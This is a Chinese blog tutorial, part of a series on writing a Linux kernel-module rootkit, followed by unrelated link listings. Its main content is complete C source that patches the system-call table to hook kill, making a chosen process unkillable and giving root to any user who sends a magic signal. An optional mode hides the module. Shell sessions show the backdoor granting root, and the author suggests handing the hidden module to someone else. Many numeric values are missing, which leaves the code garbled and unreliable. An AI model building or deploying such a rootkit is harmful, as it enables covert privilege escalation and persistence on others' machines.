......上一节,我们编写了一个基本的lkm模块,从功能上来说它还没有rootkit的特征,这次我们给它添加一点有意思的功能.我们让一个指定的进程杀不死,

曾经,想写一个谁也杀不死的进程,进程能捕捉到SIGTERM,就是kill默认发送的signal,能捕捉到SIGINT,你平时按下Ctrl-C就是这个操作,但是无论如何你也无法阻止,

SIGKILL,及终极杀人王火云邪神的必杀kill -9 pid.

作为一个小强,怎么能被现实如此的摧残,我们要对命运说不,so 有个几种解决方案,一中方案:两个进程互相监听,另外一个死了,立马起一个新的进程,另外一种方案:

我们想是谁让kill -9 就能杀死程序的?是谁?对是操作系统?作为一切操作皆系统调用来说,kill也是系统调用啊.....所以我们可以改系统调用就行了,而且在内核态可以无视用户,

随便切换个uid都是小意思.

废话不多,上代码

#include <asm/unistd.h>
#include <linux/highmem.h>
#include <asm/current.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/list.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/fdtable.h>
#include <linux/moduleparam.h> MODULE_AUTHOR("lietdai@gmail.com");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("rootkit_sample"); #define ROOT_PID 7311
#define ROOT_SIG 7 static int lpid = ;
module_param(lpid, int, ); //#define STEALTH_MODE 1 unsigned long *sys_call_table = (unsigned long*) 0xc12efee0; static unsigned int ocr0; unsigned int clear_cr0(){
unsigned int cr0 = read_cr0();
write_cr0(cr0 & 0xfffeffff);
return cr0;
} typedef asmlinkage int (*kill_ptr)(pid_t pid, int sig);
kill_ptr orig_kill; asmlinkage int hacked_kill(pid_t pid, int sig){
int actual_result; //root-access
if (pid == ROOT_PID && sig == ROOT_SIG){
struct cred *cred;
cred = (struct cred *)__task_cred(current);
cred->uid = ;
cred->gid = ;
cred->suid = ;
cred->euid = ;
cred->euid = ;
cred->egid = ;
cred->fsuid = ;
cred->fsgid = ;
return ;
}else if(pid == lpid){
printk(KERN_INFO "You cannot kill me! by process %d", lpid);
return ;
} actual_result = (*orig_kill)(pid, sig);
return actual_result;
} static int rootkit_in(void){
#ifdef STEALTH_MODE
struct module *self;
#endif
ocr0 = clear_cr0();
orig_kill = (kill_ptr)sys_call_table[__NR_kill]; //hooking
sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
write_cr0(ocr0);
#ifdef STEALTH_MODE
mutex_lock(&module_mutex);
if((self = find_module("test")))
list_del(&self->list);
mutex_unlock(&module_mutex);
#endif
printk(KERN_INFO "Loading rookit\n");
return ;
} static int rootkit_out(void){
ocr0 = clear_cr0();
sys_call_table[__NR_kill] = (unsigned long) orig_kill;
write_cr0(ocr0);
printk(KERN_INFO "Romove rookit\n");
return ;
} module_init(rootkit_in);
module_exit(rootkit_out);

需要说明的几点是0xc12efee0这个地址每个人都不一样的,它在/boot/System.map-`uname -r`记录着,他表示sys_call_table的地址

cat /boot/System.map-`uname -r` | grep sys_call

unsigned long *sys_call_table = (unsigned long*) 0xc12efee0;

基本的使用就是

1.先随便起个进程,这里以我们的哪个deamon后台签到程序为例./l137,记录pid 为 13165

liet@kali:~/code/c/study/socket/http/bbs_sign$ ./l137
liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137
liet 0.0 0.0 ? S : : ./l137
liet 0.0 0.0 pts/ S+ : : grep l137
liet@kali:~/code/c/study/socket/http/bbs_sign$

2.加载rootkit

liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ sudo insmod test.ko lpid=
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ dmesg | tail
[ 407.885977] warning: `VirtualBox' uses 32-bit capabilities (legacy support in use)
[ 415.515641] device eth0 entered promiscuous mode
[ 813.787144] Loading rookit
[ 829.538917] Now set cr0 backed ,cr0: 8005003b
[ 829.538921] Romove rookit
[ 2231.927831] Loading rookit
[ 2388.490838] Now set cr0 backed ,cr0: 8005003b
[ 2388.490842] Romove rookit
[ 2503.793892] test: `' invalid for parameter `pid'
[ 2508.832296] Loading rookit
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$

ok, rootkit loaded!!!!

3.rootkit操作

1.杀不死的13165进程

liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -
liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137
liet 0.0 0.0 ? S : : ./l137
liet 0.0 0.0 pts/ S+ : : grep l137

2.root后门

liet@kali:~/code/c/study/socket/http/bbs_sign$ id
uid=(liet) gid=(liet) groups=(liet),(dialout),(sudo)
liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -
liet@kali:~/code/c/study/socket/http/bbs_sign$ id
uid=(root) gid=(root) groups=(root),(dialout),(sudo),(liet)
liet@kali:~/code/c/study/socket/http/bbs_sign$

你整好了一个进程之后,然后隐藏mod,再交给别人,让他杀吧,看他怎么杀,........

手把手教你写LKM rookit! 之 杀不死的pid&root后门的更多相关文章

  1. 手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一)

    唉,一开始在纠结起个什么名字,感觉名字常常的很装逼,于是起了个这<手把手教你写LKM rookit> 我觉得: 你们觉得:...... 开始之前,我们先来理解一句话:一切的操作都是系统调用 ...

  2. 手把手教你写Sublime中的Snippet

    手把手教你写Sublime中的Snippet Sublime Text号称最性感的编辑器, 并且越来越多人使用, 美观, 高效 关于如何使用Sublime text可以参考我的另一篇文章, 相信你会喜 ...

  3. 手把手教你写电商爬虫-第三课 实战尚妆网AJAX请求处理和内容提取

    版权声明:本文为博主原创文章,未经博主允许不得转载. 系列教程: 手把手教你写电商爬虫-第一课 找个软柿子捏捏 手把手教你写电商爬虫-第二课 实战尚妆网分页商品采集爬虫 看完两篇,相信大家已经从开始的 ...

  4. 手把手教你写电商爬虫-第四课 淘宝网商品爬虫自动JS渲染

    版权声明:本文为博主原创文章,未经博主允许不得转载. 系列教程: 手把手教你写电商爬虫-第一课 找个软柿子捏捏 手把手教你写电商爬虫-第二课 实战尚妆网分页商品采集爬虫 手把手教你写电商爬虫-第三课 ...

  5. 只有20行Javascript代码!手把手教你写一个页面模板引擎

    http://www.toobug.net/article/how_to_design_front_end_template_engine.html http://barretlee.com/webs ...

  6. [原创]手把手教你写网络爬虫(4):Scrapy入门

    手把手教你写网络爬虫(4) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 上期我们理性的分析了为什么要学习Scrapy,理由只有一个,那就是免费,一分钱都不用花! 咦?怎么有人扔西红柿 ...

  7. [原创]手把手教你写网络爬虫(5):PhantomJS实战

    手把手教你写网络爬虫(5) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 大家好!从今天开始,我要与大家一起打造一个属于我们自己的分布式爬虫平台,同时也会对涉及到的技术进行详细介绍.大 ...

  8. [原创]手把手教你写网络爬虫(7):URL去重

    手把手教你写网络爬虫(7) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 本期我们来聊聊URL去重那些事儿.以前我们曾使用Python的字典来保存抓取过的URL,目的是将重复抓取的UR ...

  9. Android开发之手把手教你写ButterKnife框架(三)

    欢迎转载,转载请标明出处: http://blog.csdn.net/johnny901114/article/details/52672188 本文出自:[余志强的博客] 一.概述 上一篇博客讲了, ...

随机推荐

  1. Hibernate悲观锁/乐观锁

    如果需要保证数据访问的排它性,则需对目标数据加"锁",使其无法被其它程序修改 一,悲观锁 对数据被外界(包括本系统当前的其它事务和来自外部系统的事务处理)修改持保守态度,通过数据库 ...

  2. MSP430常见问题之通信类

    Q1: 430 串口中,有个R/D 控制线,在接收上位机的数据,但本身的数据有无发送完毕不知道啊,什么时候才可置低R/d 位来接收数据啊?好像430 没有发送完中断标志A1:字节主动发送,一般都能发出 ...

  3. 转: Lua 语言 15 分钟快速入门

    看点: 1. 以很特殊的方式工,把Lua的语法全部输出一段,很容易让人记住..不错 转: http://blog.jobbole.com/70480/

  4. 关于z-index的总结

    z-index的作用 很多时候需要把一个元素覆盖到另一个元素之上,比如登入弹出框等,这个时候就需要z-index属性出场了.所以呢,z-index就是调节层的显示优先级,决定哪个显示在最上方.作用范围 ...

  5. 神奇的CSS3选择器

    话说园子里也混迹多年了,但是基本没写过blog,写点基础的,那就从css3选择器开始吧. Css3选择器 先说下,为什么提倡使用选择器. 使用选择器可以将样式与元素直接绑定起来,在样式表中什么样式与什 ...

  6. javascript基础知识--什么是构造函数?什么是实例化对象?

    前言--讲在前面 我想有很多以前很少接触后台编程语言的初学者朋友跟我一样,对javascript里面一系列的“名词”搞的一头雾水.好像大概知道讲的是什么,但其实理解的还是不清楚:我想,学习任何一种知识 ...

  7. Ehcache(2.9.x) - API Developer Guide, Cache Loaders

    About Cache Loaders A CacheLoader is an interface that specifies load() and loadAll() methods with a ...

  8. CSS之鼠标经过字体光标形状的改变

    CSS中的cursor属性是规定要显示的光标的类型(形状). 参阅JavaScript正则表达式 default 默认光标(通常是一个箭头) auto 默认.浏览器设置的光标. crosshair 光 ...

  9. centos6.5下逻辑卷操作

    1.将两块独立磁盘分别分区 2.创建物理卷-pvcreate 3.创建卷组 4.创建逻辑卷 5.格式化逻辑卷 6.扩展逻辑卷 7.缩小逻辑卷

  10. centos6.5下磁盘创建交换分区

    1.创建磁盘交换分区 2.创建文件交换分区